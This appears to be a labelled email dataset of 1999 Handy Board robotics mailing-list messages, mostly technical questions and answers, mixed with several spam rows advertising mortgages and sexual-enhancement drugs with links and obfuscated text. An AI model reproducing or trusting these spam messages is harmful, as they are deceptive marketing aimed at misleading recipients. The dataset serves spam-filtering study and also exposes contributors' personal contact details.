Juan Perez , Kara Greely , Karen Whitenack , Kathleen Kerrigan , Larry Cole , Laura Zung , Malcolm Hawker , Manny Rendon , Mary Crothers , Michael Ayers , Michael Yang , Michelle Samadani , Mike Cotterman , Nancy Chiriboga , Philip Zakas , Rachel Forrest , Randy Fuller , Renee Etienne , Richard Ford , Sharon Stiltner , Thomas Hardart , Yuching Hsu ","Fri, 19 Mar 1999 14:41:48 -0800",new intranet ip,"the new address for the intranet site is http://209.1.144.151/pm members going to the old address will be redirected to this new one. Hopefully, this will resolve some of the login issues. Regards, mark williamson ",0,1 Andre Philippi ,philippi@earthlink.net,"Fri, 19 Mar 1999 16:51:44 -0800","Help with Serial Ports, Please !!!","Hello, I'm trying to port some working Qbasic code to Tcl8.08 (NT4.0), so I can embed it into the tcl-httpd, and make a robotic application controllable from the web (with the Tcl plug-in), but I'm having a hard time configuring the serial port under Tcl... Could you help me, please? The Qbasic and the Tcl code are verty short, and follow bellow... To help debugging, I have an ""RS-232 Mini-Tester"" (from Radio Shack) attached to the serial port, so I can see (some) of what's going on... On the tester, there are several LEDs that can become red, green, or clear (off)... The Mini-Tester has LEDs for: TD,RTS,DSR,CD,RD,CTS and DTR. Under the QBASIC code below; on standby; the TD led is red, the RTS and DTR leds are green, and the others are clear... When the Qbasic program runs, RTS flashes from green to red (for a second), then back to green; every other led remain the same, and then the servo moves perfectly fine :) Under the Tcl code below; on standby; the TD, RTS and DTR leds are red, and all of the other leds are clear... When the Tcl code runs, the TD, RTS and DTR leds flash from red to green (for a second), then back to red; every other led remains the same, and nothing happens with the servo, meaning failure... :( Does anyone here know what is going on? I suspect it has something to do with the CD0,CS0,DS0 and OP0 arguments of the OPEN statement on the Qbasic code, because I removed the above mentioned arguments from the Qbasic code, and the program didn't work anymore... But I neither know what those arguments do, nor how to port them to Tcl... Any help would be appreciated, Thank you in advance, Andre Philippi. #-------------------- serial.tcl --------------------# set device {COM2} set sync {255} set servo {0} set position {0} set fd [open $device {WRONLY}] fconfigure $fd -mode 9600,N,8,1 -buffering none puts -nonewline $fd [format {%c} $sync] puts -nonewline $fd [format {%c} $servo] puts -nonewline $fd [format {%c} $position] #----------------------------------------------------# #-------------------- serial.bas --------------------# sync = 255 servo = 0 position = 0 OPEN ""com2:9600,N,8,1,CD0,CS0,DS0,OP0"" FOR OUTPUT AS #1 PRINT #1, CHR$(sync); PRINT #1, CHR$(servo); PRINT #1, CHR$(position); #----------------------------------------------------# ",0,0 baileys@ktis.net,handyboard@media.mit.edu,"Fri, 19 Mar 1999 20:26:13 -0600",(OT) Robotics Engineer,"Hello Everyone, I received the following e-mail from a student and since I'm not employed in this field I thought there might be someone on the list that could respond. Please send your e-mail address directly to me so that I may forward it. Thanks in advance, Bob B. ""I am doing an English class research project on the career of robotics. I would like information on becoming a robotics engineer and the life of a robotics engineer. I am also looking for a robotics expert to interview. If you can give me the email address of such a person, I would greatly appreciate it."" ",0,0 Ryan Hinton ,handyboard@media.mit.edu,"Sat, 20 Mar 1999 13:24:05 -0700",more serial problems," I finally got the serial communications working--thanks for the help. However, I can't get IC up to speed--I'm getting very few bytes through at 9600 bps. I was talking to another team that is working on the same application, and they said they have to send bytes one-by-one at a much slower rate. They also suggested possibly writing an assembly routine to do the work. My question is about the latter option. Does anyone know what interrupt the serial port will trigger, which bytes to play with to get the information, etc.? Also, I've had a hard time finding a good source for a list of assembly op's available for the HC6811. I'm using as11, if that makes any difference. Thanks for the help. ------------------- Ryan Hinton ;) ryan_hinton@byu.edu http://www.et.byu.edu/~hintonr ",0,1 Junby Samonte <09414797@mail4.dlsu.edu.ph>,handyboard@media.mit.edu,"Sun, 21 Mar 1999 04:38:01 +0800",Battery Change,"Dear Guys, It just so happens that I remembered that I have four old but still is good condition Ni-MH battery packs from an old cellphone, each pack is rated at 4.8V and 600mAh and the weight of all four of them is just about 75% the weight of the NiCads that came with the HB. They also fit exactly into the HB battery case. I was wondering if it would be alright if I replaced the NiCads with the NiMH batteries. It would be really great if I could since it would make the HB lighter and I dont have to wait until the batteries are fully discharged before recharging them again. Any comments of this idea of mine would be greatly appreciated. Thanks. F.Samonte ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Sat, 20 Mar 1999 18:06:48 -0500",Re: Battery Change,"At 04:38 AM 3/21/99 +0800, you wrote: They also fit exactly >into the HB battery case. I was wondering if it would be alright if I >replaced the NiCads with the NiMH batteries. I use NiMh batteries with my HB. Works fine, but I would be careful charging them. Supposedly these batteries require special charge circuits, but I've always found a slight (<150mA) trickle charge to work fine. Maxim (and others) make IC's for building special charging circuits but when I switched my cell phone to NiMh I didn't buy a new charger! I wouldn't try to quick charge (>500mA) them... Also, if you're running high current motors off of the same battery pack be aware that they *cannot* supply the current of an equivalent nicad pack. Hope this helps, Duncan",0,0 Bruce Markowitz ,Andrew Webber ,"Sat, 20 Mar 1999 23:39:34 -0500",Re: CD-R/RW,"The best bet is really a SCSI CD-RW The CD-RW has a laser with AGC (auto gain control), and my Ricoh seems to be able to read and copy some disks that my friends Panasonic 4X and Creative 2X can not. Parallel port is a VERY poor choice. Go with SCSI and a Docking station or PCMCIA SCSI. Andrew Webber wrote: > > On Sat, 20 Mar 1999 21:59:25 -0500, Bruce Markowitz wrote: > > >I bought CD-RW today at a show for $3.00 each > >CD-R are around $1.20 > > Thanks for the information. That's still only C$4.50. Staples > isn't my first choice for supplies based on price, but C$4.50 vs. > C$20.00 is still a significant difference! > > On Sat, 20 Mar 1999 22:00:23 -0500, Bruce Markowitz wrote: > > >And forget parallel port. > >Get a SCSI drive, with a PCMCIA SCSI card. You will make a lot of > >coasters with a parallel port device. > > At one store, the Yamaha 4x4x16 SCSI is only 10% more than the > Backpack 4x2x6 (but 30% more than the Backpack at Staples, i.e. > this store is a bit pricey). But they both had the same 4x CD-R > write. > > I wondered about using parallel, if I end up at 2x to get reliable > results it's pretty self-defeating. > > Has anyone had consistent success with a 4x parallel CD-R burner? > > andrew > ------ > my local weather today: www.intellicast.com/weather/yow ",0,0 Guy Botts ,handyboard@media.mit.edu,"Sun, 21 Mar 1999 15:08:47 -0700",Re: your AqMBtEN,"Hi X A L V P C V a m e I r I A n b v A o A L a i i G z L I x e t R a I U n ra A c S M http://www.geocities.com/VilemttrionChan/ Dont talk to yerself! said Tom. But if you wants to sit on the last one, sit on him. Which is he? The one with the yellow stockings, said Bert. Nonsense, the one with the grey stockings, said a voice like Williams. I made sure it was yellow, said Bert. Yellow it was, said William. ",1,1 Richard ,handyboard@media.mit.edu,"Mon, 22 Mar 1999 13:34:52 +0500",Your bill Consolidation Confirmation,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://ftm0rt.net Don't worry about approval, your credit will not disqualify you! Sincerely, Richard Approval Manager ",1,1 Leahcim ,handyboard@media.mit.edu,"Mon, 22 Mar 1999 22:14:27 +0800",RE: PWM and executing 2 function at the same time,"hi everybody, i am trying to ask 2 questions. question 1: is there any way to count the no of pulse generate by the handyboard? question 2: can i execute 2 function at the same time?(eg. testdigitals() and testanalogs() at the same time) with regards, from Michael. ",0,0 shsc9801@condor.stcloudstate.edu,handyboard@media.mit.edu,"Mon, 22 Mar 1999 08:47:43 -0600",Polaroid sonar device,"Hello. I attempted to use the polaroid sonar device which is plugged into my expansion board on my handy board. I loaded the sonar.c file from the handy board web site using IC. When I called the routines in the sonar.c I got a ""tick"" sound and an odd number. This would happen every time the sonar device was called and even though the device was never moved the value always changed -- sometimes it would be negative and sometimes I would get a ""-Power Glitch-"" on the handy board LCD. Anybody know why it is going this? Thanks in advance. Scott IT Spec. II ACS SCSU ",0,0 Doug Armentrout ,"'mark williamson' , Andy Stevens , Brad Davis , Brendan Benzing , Caitlin McGillicuddy , Carlie Ross ","Thu, 22 Apr 1999 07:37:15 -0700",RE: new intranet ip,"http://ver.io now points to the new site also. Doug -----Original Message----- From: mark williamson [SMTP:markw@tabnet.com] Sent: Friday, March 19, 1999 2:42 PM To: Andy Stevens; Brad Davis; Brendan Benzing; Caitlin McGillicuddy; Carlie Ross; Chris Carmody; Chris Davi; Chris Smith; Debby Baker; Dirk Cotton; Doug Armentrout; Eric Eden; Georgia Tackno; Greg Sugar; Handy Board; Heather Weaver; Jim Bankoff; Joe Koenig; John Divney; Juan Perez; Kara Greely; Karen Whitenack; Kathleen Kerrigan; Larry Cole; Laura Zung; Malcolm Hawker; Manny Rendon; Mary Crothers; Michael Ayers; Michael Yang; Michelle Samadani; Mike Cotterman; Nancy Chiriboga; Philip Zakas; Rachel Forrest; Randy Fuller; Renee Etienne; Richard Ford; Sharon Stiltner; Thomas Hardart; Yuching Hsu Subject: new intranet ip the new address for the intranet site is http://209.1.144.151/pm members going to the old address will be redirected to this new one. Hopefully, this will resolve some of the login issues. Regards, mark williamson ",0,1 rmtmd ,"shsc9801@condor.stcloudstate.edu, handyboard@media.mit.edu","Mon, 22 Mar 1999 10:18:37 -0800",Re: Polaroid sonar device,"I had similar problems until I installed the .1uF capacitor at C7 on the sonar board as mentioned in the documentation for the use of the sonar device with the expnsion board. Edgar Leatherman, another handy board afficianado, was kind enough to point this out to me, and I'm passing on the favor. While the silk screen seems to call for an electrolytic, I had trouble finding one at Radio Shack, so I settled for an old, spare, albeit larger, mylar component. As soon as I soldered it to the sonar board at C7, everything worked fine. Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX shsc9801@condor.stcloudstate.edu >Hello. I attempted to use the polaroid sonar device which is plugged into >my expansion board on my handy board. I loaded the sonar.c file from the >handy board web site using IC. When I called the routines in the sonar.c I >got a ""tick"" sound and an odd number. This would happen every time the >sonar device was called and even though the device was never moved the >value always changed -- sometimes it would be negative and sometimes I >would get a ""-Power Glitch-"" on the handy board LCD. Anybody know why it >is going this? Thanks in advance. > >Scott > >IT Spec. II >ACS >SCSU > > > RMT ",0,0 rmtmd ,handyboard@media.mit.edu,"Mon, 22 Mar 1999 10:24:45 -0800",Sonar Recentering Question,"I've rigged up a rotating cage holding the Polaroid 6500 transducer at the front of one of my bots. Every time I turn on the handy board, I'd like the software to begin by centering the transducer facing forward. I've rigged a micro motor to a bevel gear to drive the rotating sonar. The motor's axle passes through the Lego angle sensor. The problem is that whenever the handy board is switched off, lego3_counts is reset to 0, even if the sonar transducer is not facing directly forward. Persistent globals won't help, since they, too, are reinitialized when the handy board is switched on or the code is reloaded. My bot is heavy enough already. I'm loathe to add mechanical limit sensors to what is already a kludgy first attempt to get the whole thing working. Any thoughts? Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX ",0,0 Ted Mylenbusch ,Handyboard ,"Mon, 22 Mar 1999 17:22:55 -0500",RE: Sonar Recentering Question,"Just a suggestion but you could mount a Hall effect sensor somewhere near a rotating rounded part on the cage and glue a small piece of magnet to the rounded part. You could look for the pulse on a digital input. This way it would not add much weight. Alternatively, you could replace your motor with an RC servo which is very easy to center and whose center pulse width, once determined, could be placed in your code. And lastly, adding only a couple of ounces, you could purchase a linear pot (say 50k) and have the motor drive it's shaft also. Place a voltage across the outer leads and measure the voltage across the wiper and ground when the sonar is centered. Hook it up to an analog port and adjust that way. I always flatten the wiper stop so it can rotate 360 degrees. Hope these ideas help. Ted Mylenbusch amylen@worldnet.att.net > -----Original Message----- > From: rmtmd [mailto:rmtmd@concentric.net] > Sent: Monday, March 22, 1999 1:25 PM > To: handyboard@media.mit.edu > Subject: Sonar Recentering Question > > > I've rigged up a rotating cage holding the Polaroid 6500 transducer at > the front of one of my bots. Every time I turn on the handy board, I'd > like the software to begin by centering the transducer facing forward. > > I've rigged a micro motor to a bevel gear to drive the rotating sonar. > The motor's axle passes through the Lego angle sensor. The problem is > that whenever the handy board is switched off, lego3_counts is reset to > 0, even if the sonar transducer is not facing directly forward. > Persistent globals won't help, since they, too, are reinitialized when > the handy board is switched on or the code is reloaded. > > My bot is heavy enough already. I'm loathe to add mechanical limit > sensors to what is already a kludgy first attempt to get the whole thing > working. > > Any thoughts? > > > > Ross M. Tonkens, M.D. > Medical Director > Primary Care of Nevada > 100 North Green Valley Parkway > Suite 240 > Henderson, NV 89014 > > 702 914-7120 VOICE > 702 914-7129 FAX > ",0,0 rmtmd ,"Ted Mylenbusch , Handyboard ","Mon, 22 Mar 1999 17:35:04 -0800",RE: Sonar Recentering Question,"Great idea! Thanks. Ross Tonkens Ted Mylenbusch >Just a suggestion but you could mount a Hall effect sensor somewhere near a >rotating rounded part on the cage and glue a small piece of magnet to the >rounded part. You could look for the pulse on a digital input. This way it >would not add much weight. > >Alternatively, you could replace your motor with an RC servo which is very >easy to center and whose center pulse width, once determined, could be >placed in your code. > >And lastly, adding only a couple of ounces, you could purchase a linear pot >(say 50k) and have the motor drive it's shaft also. Place a voltage across >the outer leads and measure the voltage across the wiper and ground when the >sonar is centered. Hook it up to an analog port and adjust that way. I >always flatten the wiper stop so it can rotate 360 degrees. > >Hope these ideas help. > >Ted Mylenbusch >amylen@worldnet.att.net > > >> -----Original Message----- >> From: rmtmd [mailto:rmtmd@concentric.net] >> Sent: Monday, March 22, 1999 1:25 PM >> To: handyboard@media.mit.edu >> Subject: Sonar Recentering Question >> >> >> I've rigged up a rotating cage holding the Polaroid 6500 transducer at >> the front of one of my bots. Every time I turn on the handy board, I'd >> like the software to begin by centering the transducer facing forward. >> >> I've rigged a micro motor to a bevel gear to drive the rotating sonar. >> The motor's axle passes through the Lego angle sensor. The problem is >> that whenever the handy board is switched off, lego3_counts is reset to >> 0, even if the sonar transducer is not facing directly forward. >> Persistent globals won't help, since they, too, are reinitialized when >> the handy board is switched on or the code is reloaded. >> >> My bot is heavy enough already. I'm loathe to add mechanical limit >> sensors to what is already a kludgy first attempt to get the whole thing >> working. >> >> Any thoughts? >> >> >> >> Ross M. Tonkens, M.D. >> Medical Director >> Primary Care of Nevada >> 100 North Green Valley Parkway >> Suite 240 >> Henderson, NV 89014 >> >> 702 914-7120 VOICE >> 702 914-7129 FAX >> > > RMT ",0,0 Seth Doerr ,"handyboard@media.mit.edu, paula@media.mit.edu, kaye@media.mit.edu, alan@media.mit.edu, cherry@media.mit.edu, jessie@media.mit.edu","Mon, 22 Mar 1999 19:39:12 -0500",It will blow away body fat,"some eight on technetium not gavel , dapper or tartar ",1,0 Herbert Acevedo ,handyboard@media.mit.edu,"Mon, 22 Mar 1999 20:36:17 -0600",Services,"-Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://www.rebekkahlasky.info calvin attune thelma lunate cyclopean tout catnip bricklaying cottonseed rabies apricot transmitting anglophobia coriolanus lorinda orangeroot lakeside shrew debutante commissary contrivance unilateral mbabane ektachrome hide ashy fly claustrophobia pharmaceutic ucla evaluable mealy dromedary shelby radiant cosgrove immoral decker vanderbilt beriberi cranberry fredholm mast explicate gamesman someone'll devour timepiece baroness serpent sleepy pancho cartoon yarmulke ",1,1 Jet Khoo ,handyboard@media.mit.edu,"Tue, 23 Mar 1999 23:28:42 +0800",Re: PWM and executing 2 function at the same time,"thanz Duncan for your advice. but for question 1, what i mean was to count the number of pulses generated without any external device. what i am asking is to count the number of pulses internally. and for question 2, i mean is there any command to executed 2 functions at the same time.(eg: testmotors() and testdigitals()) i will be thankful to u if u or anyone could offer any advices. with regards, Michael -----Original Message----- From: Duncan Orthner To: Leahcim Date: Monday, March 22, 1999 11:21 PM Subject: RE: PWM and executing 2 function at the same time >At 10:14 PM 3/22/99 +0800, you wrote: >>hi everybody, >> >>i am trying to ask 2 questions. >> >>question 1: is there any way to count the no of pulse generate by the >>handyboard? > >Yes. Use a frequency counter or an oscilloscope. > >> >>question 2: can i execute 2 function at the same time?(eg. testdigitals() >>and testanalogs() at the same time) > >You can execute two functions at the same time, but your examples both call >on the same hardware (LCD) so it wouldn't work. Don't know why you'd want >to execute *those* two simultaneously anyway 8^]. > >Best, Duncan >",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Tue, 23 Mar 1999 11:09:26 -0500",Re: PWM and executing 2 function at the same time,"At 11:28 PM 3/23/99 +0800, you wrote: >thanz Duncan for your advice. but for question 1, what i mean was to count >the number of pulses generated without any external device. what i am asking >is to count the number of pulses internally. Umm, not sure which 'pulses' you're refering to. How are you generating the pulses and what are they for? Do you mean the PWM going to the motor drivers? The HB can generate lots of different pulses 8^] and for question 2, i mean is >there any command to executed 2 functions at the same time.(eg: testmotors() >and testdigitals()) try: start_process(testmotors()); start_process(testdigitals()); this starts each function as a seperate process... When running more than one process, you should know that some actions (like printing to the LCD and IR communication) take significantly more processor cycles which can *really* slow things down if you're not careful. Hope this helps, Duncan ",0,0 Bruce Moore ,handyboard@media.mit.edu,"Tue, 23 Mar 1999 12:02:56 -0500",Simtek memory,"A few weeks ago Duncan Orthner mentioned the Simtek memory chips on the HB newsgroup. They sounded like a good idea so i tried them. They work very well. But..... The HB may need a little modification to make them work rite. When the HB is powered, they word just like the regular memory. But when the Simtek chips loose power, memory is dumped from RAM to EEPROM (all in the memory chip and all automatic). Every time the power comes back up the EEPROM is dumped back to RAM. Problem is the Simtek chip needs a few milliseconds between the time the voltage is low enough to cause a mem dump to EEPROM and the time it looses power comletely. I just put a 10 mF capacitor accross the plus and minus points that the battery wires connect to. That seemed to make it happy. One the Simtek data sheet there is a little more elegant way of doing it with a low voltage drop diode and a cap accross the power pin to the chip itself. I tried the easy way first. Now I can completely remove power from the board and memory will still be there when I plug it back in. ",0,0 Gary Livick ,"""handyboard@media.mit.edu"" ","Tue, 23 Mar 1999 09:43:36 -0800",help with ICC11,"I have an expanded Handy Board, and version 5.0 of the ImageCraft C Compiler. I am running Windows 98. Setting up to talk to the Handy Board is a bit of an obstacle for me. Has anyone done it with the ICC11 compiler, or is there a site someone knows of that describes how to set up communications? Thanks, Gary Livick ",0,0 Christopher Prosser ,"Gary Livick , handyboard@media.mit.edu","Tue, 23 Mar 1999 11:07:52 -0800",Re: help with ICC11,"I'm using win98 an ICC11. I was unable to get ICC11 to communicate with my handybaord. I instead used hbdl to download the output (s19 file) from ICC11 to my handyboard. This worked without problems. My biggest problem was that in my project I forgot to change the starting stack point from the default 0xfff to 0xfffF (one more f needed). If you want it I have a project file and such for ICC11 v5 for libhb. Cheers, Chris Prosser -----Original Message----- From: Gary Livick To: handyboard@media.mit.edu Date: Tuesday, March 23, 1999 10:18 AM Subject: help with ICC11 >I have an expanded Handy Board, and version 5.0 of the ImageCraft C >Compiler. I am running Windows 98. Setting up to talk to the Handy >Board is a bit of an obstacle for me. Has anyone done it with the ICC11 >compiler, or is there a site someone knows of that describes how to set >up communications? > >Thanks, > >Gary Livick > >",0,0 Toni Grant ,handyboard@media.mit.edu,"Tue, 23 Mar 1999 14:24:47 -0540",Re:,"Need some love pi11s? So, why go to your local dr@gstore? Why waste time and extra money? Why let people know about your intimate life? Evil-wishers are always around to spread rumors. STJ1S4 We give you the issue! Make a quick, secure and ABSOLUTELY CONFIDENTIAL purchase online and receive your LICENSED love life enhancer right to your door! No privacy exposure, no time wasted, no exorbitant pri$es! Start a super life now! http://ujjcao.revilerig.info/?67567705 Our store is VERIFIED BY BBB! All transactions are APPROVED BY VISA! ",1,1 Duncan Orthner ,handyboard@media.mit.edu,"Tue, 23 Mar 1999 14:58:37 -0500",Re: Simtek memory,"At 12:02 PM 3/23/99 -0500, Bruce Moore wrote: >A few weeks ago Duncan Orthner mentioned the Simtek memory chips on the HB >newsgroup. They sounded like a good idea so i tried them. They work very >well. [short snip] Problem is the Simtek chip needs a few >milliseconds between the time the voltage is low enough to cause a mem dump >to EEPROM and the time it looses power comletely. I just put a 10 mF >capacitor accross the plus and minus points that the battery wires connect >to. That seemed to make it happy. Bruce, they *do* work well. I haven't had to add any caps. I just plugged it in and it worked 8^]. And they don't collide with the LCD or exp. board like the Dallas battery backed chips. Really the best of all possible worlds... Regards, Duncan ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Tue, 23 Mar 1999 15:17:23 -0500",Re: help with ICC11,"At 09:43 AM 3/23/99 -0800, Gary Livick wrote: >I have an expanded Handy Board, and version 5.0 of the ImageCraft C >Compiler. I am running Windows 98. Setting up to talk to the Handy >Board is a bit of an obstacle for me. Has anyone done it with the ICC11 >compiler, or is there a site someone knows of that describes how to set >up communications? Hi Gary, I haven't used ICC with the HB but I do use it with the miniboard. I've had good luck with dlm which I believe is available from the HB site. Karl Lunt (who wrote the brilliant SBasic compiler for the 6811) has a version of motorola's PCBug with modified timing routines for faster machines at: http://www.seanet.com/~karllunt/projects.htm Also, Jim Fong (EAS) has a downloader on his site that I haven't tried. It's called DL68hc11 (for some reason!) and can be had at: http://www.hooked.net/~jfong/computers.html Hope this helps, Duncan ",0,1 Tiffani Vowell ,handyboard@media.mit.edu,"Tue, 23 Mar 1999 10:51:29 -0700",Re: AMBtqEN new,"Hi V c I a A v G a R e A g C l I c A x L e I l S z X s A s N i A d X u V i A g L h I a U e M o http://www.ascendingmorsab.com hotchpotc coruscat beli testa totalizato Coffees fine, Johnny. The telephone rang last night-was it David? Himself, replied the brother. And you and I are going to talk. ... Come on, Jamie, up we go. Grip the ladder. What about the sharks? You got em all, buddy. Go get yourself a drink. Johnny! ",1,1 Javaid Iqbal ,Handy Board ,"Wed, 24 Mar 1999 21:52:36 +1100",Source Of GP2DO2,"Hi all, I am located in Sydney. I want to buy some IR detector GP2DO2 (sharp). These are not available in Australia. Can any body give me a reference of any stockiest located in USA, who can send me these detectors. I will be highly obliged. Regards Javaid Iqbal. ",0,0 Bruce Moore ,handyboard@media.mit.edu,"Wed, 24 Mar 1999 07:16:25 -0500",Little more info on the Simtek mem chips,"I did a little more playin last nite with the Simtek mem chips. Whether or not the Mem chips will save memory depends on a few things. If I am powering the HB with the serial/charger line and unplug it, the Simtek chips will hold their memory. If I am powering the board directly from the power plug on the HB without the serial/charger line pluged in and unplug the power they will not. I guess it has to do with how fast the power drops. (by the way, there is no battery attached during all this playin) Even with the cap across the battery power ports, the Simtek mem chips didn't save properly a few times. So..... probably this all means that to be REALLY safe, follow the suggestions on the Simtek data sheet (from their website) by putting a low voltage drop diode and cap across the power leads of the mem chip. It just slows down the power drop where is needed the most. ",0,0 Bruce Moore ,handyboard@media.mit.edu,"Wed, 24 Mar 1999 13:41:04 -0500",Simtek part #,"In response to the requests I've had on a part # for the Simtek memory. I tried the: STK15C88 W45 ",0,0 Mitchel Resnick ,play99,"Wed, 24 Mar 1999 20:12:30 -0500",next week,"As you probably know, next week's class (March 30) falls smack in the middle of the TTT meeting, so lots of people will have conflicts. Here is our suggestion: Let's delay the class until that evening, from 6:30-8:30pm. We will provide dinner, and we will divide the class time among: * Guest presentation by Mary Ann Norris of Mattel, who is in charge of the Mattel/Intel collaboration. (As many of you know, Mattel/Intel introduced two products at the recent New York Toy Fair -- and received lots of rave reviews in the press. We will try to pass along some of the press clippings before next week's class.) * Debriefing on the Tokyo Toy Fair, where TOT had its own exhibition area (in collaboration with Tomy) and organized a ""Future of Play"" symposium. * Continued discussion of your class projects (please bring ideas, sketches, prototypes...) * Discussion of class agenda/schedule for the rest of the semester... We hope that the change of time is not a major problem for you. Let us know if it is.... ------------------------------------- Mitchel Resnick Associate Professor MIT Media Laboratory mres@media.mit.edu 617-253-9783 617-253-6215 (fax) ",0,0 Stefano Falconetti ,handyboard@media.mit.edu,"Thu, 25 Mar 1999 10:43:51 +0100",HB Memory," Excuse me, I have not yet my hb and I'd like to know how much memory has it (max size). Thanks Stefano Falconetti ",0,0 Thomas Hauri ,"""Mailing List, Handyboard"" ","Thu, 25 Mar 1999 17:00:55 +0100",Help with pointers,"Hi all little question: How can I ad a value to a pointer ?? int *px, x; px = &x; px = px + 1; (????? pointing to the lowbyte of x for example) Is it just NOT possible with IC or am I missunderstanding anything ???? Thanks for any help. -- Thomas Hauri ZHW Zuercher Hochschule Winterthur University of applied sciences Technikumstr.9 /PF CH-8401 Winterthur Switzerland Phone : +41 52 267 74 79 Fax : +41 52 268 74 79 Mail : Thomas.Hauri@zhwin.ch HP : http://www.zhwin.ch ",0,1 shsc9801@condor.stcloudstate.edu,handyboard@media.mit.edu,"Thu, 25 Mar 1999 11:59:59 -0600",Sharp GP2D02,"I purchased two Sharp GP2D02 infrared sensors from Acroname and downloaded their interface to a Handy Board and Barry Brouilette's interface to the Handy Board. I was wondering which any of you have used and why so I can select one to use on in my project. I am using the expansion board and am also wondering which ports you are plugging the GP2D02's into? Thanks Scott IT Spec. II ACS SCSU ",0,0 Gary Livick ,Stefano Falconetti ,"Thu, 25 Mar 1999 10:23:38 -0800",Re: HB Memory,"Stef, The HB comes with a 32K ram chip addressed at $8000 and above. A fair amount of this space is taken up with the Pcode interpreter if you run Interactive C, but there is still lots of room left for programs. Good luck, Gary Livick ",0,0 Keith Hearn ,Thomas Hauri ,"Thu, 25 Mar 1999 10:42:18 -0800",Re: Help with pointers ,"In message <36FA5DB7.32ABEF8@zhwin.ch>, Thomas Hauri writes: > Hi all > little question: > > How can I ad a value to a pointer ?? > > int *px, x; > > px = &x > > px = px + 1; (????? pointing to the lowbyte of x for example) When you do pointer arithmatic, you work in increments of what the pointer points to. So if you have a pointer to an int, as in the above example, when you add one to it, you actually make it point to the next int, not the next byte or word. This is so that you can have an array of something and move a pointer through the array by ioncrementing it without having to pay attention to how big your array elements are. If you want to point to the low byte of x, you might be able to do something like this: int x; char * p; /*this assumes that a char is one byte*/ p = &x p++; Be warned that that is pretty non-portable code. What it actually does depends on how big int and char are with the specific compiler/machine combination, and details like byte ordering within words. The above all applies to ""normal"" C. I'm not exactl sure how IC would handle it. Keith Hearn khearn@legato.com > > Is it just NOT possible with IC or am I missunderstanding anything ???? > > Thanks for any help. > > -- > Thomas Hauri > ZHW Zuercher Hochschule Winterthur > University of applied sciences > Technikumstr.9 /PF > CH-8401 Winterthur > Switzerland > > Phone : +41 52 267 74 79 > Fax : +41 52 268 74 79 > Mail : Thomas.Hauri@zhwin.ch > HP : http://www.zhwin.ch > >",0,1 michael lang kee ,Stefano Falconetti ,"Thu, 25 Mar 1999 12:06:08 -0700",Robot Mapping,"Hello, I am working on an autonomous mobile robot. Which has a sonar and infared sensor incorporated into it. Right now it can avoid objects, by sensing it and backing up and turning. I want my robot to take the information from the sensors and map out the terrain. I want to know if anyone has an algorithm for mapping the terrain. The coding doesn't matter, I can transform it into code I can use. oooo$$$$$$$$$$$$oooo oo$$$$$$$$$$$$$$$$$$$$$$$$o oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o o$ $$ o$ o $ oo o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o $$ $$ $$o$ oo $ $ ""$ o$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$o $$$o$$o$ ""$$$$$$o$ o$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$o $$$$$$$$ $$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$$ """"""$$$ ""$$$""""""""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ""$$$ $$$ o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ""$$$o o$$"" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$o $$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"" ""$$$$$$ooooo$$$$o o$$$oooo$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ o$$$$$$$$$$$$$$$$$ $$$$$$$$""$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$"""""""""""""""" """""""" $$$$ ""$$$$$$$$$$$$$$$$$$$$$$$$$$$$"" o$$$ ""$$$o """"""$$$$$$$$$$$$$$$$$$""$$"" $$$ $$$o ""$$""""$$$$$$"""""""" o$$$ $$$$o o$$$"" ""$$$$o o$$$$$$o""$$$$o o$$$$ ""$$$$$oo """"$$$$o$$$$$o o$$$$"""" """"$$$$$oooo ""$$$o$$$$$$$$$"""""" """"$$$$$$$oo $$$$$$$$$$ """"""""$$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$$$"" ""$$$"""""""" --------------- Michael Kee - mlkee@unm.edu - ______________ ",0,0 Barry Brouillette ,"""'shsc9801@condor.StCloudState.EDU'"" , handyboard@media.mit.edu","Thu, 25 Mar 1999 14:52:15 -0500",RE: Sharp GP2D02,"Scott, The reason I wrote mine the way I did was so that I could avoid disabling interrupts for long periods of time. If you don't care about timer interrupts or things like wheel encoders, either program should work fine. My program uses digital 15 and 14 for its' inputs and expansion board digital outs 6 and 7. Barry -----Original Message----- From: shsc9801@condor.StCloudState.EDU [mailto:shsc9801@condor.StCloudState.EDU] Sent: Thursday, March 25, 1999 1:00 PM To: handyboard@media.mit.edu 